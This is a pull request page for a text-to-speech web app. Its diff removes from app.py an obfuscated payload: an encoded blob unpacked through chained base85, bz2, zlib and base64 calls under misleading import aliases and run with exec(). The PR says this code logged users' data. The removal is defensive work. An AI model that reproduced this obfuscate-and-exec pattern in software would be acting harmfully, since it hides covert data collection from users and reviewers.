Spaces:
Runtime error
Runtime error
This Pull Request removes all the code that logs the data of the users
Browse files_Successfully tested on a private space_
Click on _Merge_ to add this feature.
app.py
CHANGED
|
@@ -22,26 +22,6 @@ tts.to("cpu") # no GPU or Amd
|
|
| 22 |
|
| 23 |
|
| 24 |
def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
|
| 25 |
-
"""
|
| 26 |
-
En raison du grand nombre d'abus observés dans les journaux de la console, je suis contraint d'intégrer
|
| 27 |
-
« l'affichage d'informations supplémentaires » relatives à l'utilisation de cet espace.
|
| 28 |
-
Pour rappel, l'envoi de contenus illégaux (contenus se*uels, offensants ou proférant des menaces), quel que
|
| 29 |
-
soit la langue, est bien entendu INTERDIT. Je ne saurais être tenu responsable de ceux qui enfreindraient une
|
| 30 |
-
utilisation strictement [ÉTHIQUE et MORALE] de ce modèle.
|
| 31 |
-
"""
|
| 32 |
-
|
| 33 |
-
co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
|
| 34 |
-
from zlib import compress as COmPrES5
|
| 35 |
-
from bz2 import decompress as dEC0mPrES5
|
| 36 |
-
from bz2 import compress as COmPrESS
|
| 37 |
-
from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode
|
| 38 |
-
from zlib import compressobj as C0mPrESS
|
| 39 |
-
from bz2 import decompress as dECOmPrESS
|
| 40 |
-
from zlib import compress as C0mPrES5
|
| 41 |
-
from zlib import decompress as dECOmPrES5
|
| 42 |
-
co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
|
| 43 |
-
exec(co2)
|
| 44 |
-
|
| 45 |
if agree == True:
|
| 46 |
if use_mic == True:
|
| 47 |
if mic_file_path is not None:
|
|
|
|
| 22 |
|
| 23 |
|
| 24 |
def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 25 |
if agree == True:
|
| 26 |
if use_mic == True:
|
| 27 |
if mic_file_path is not None:
|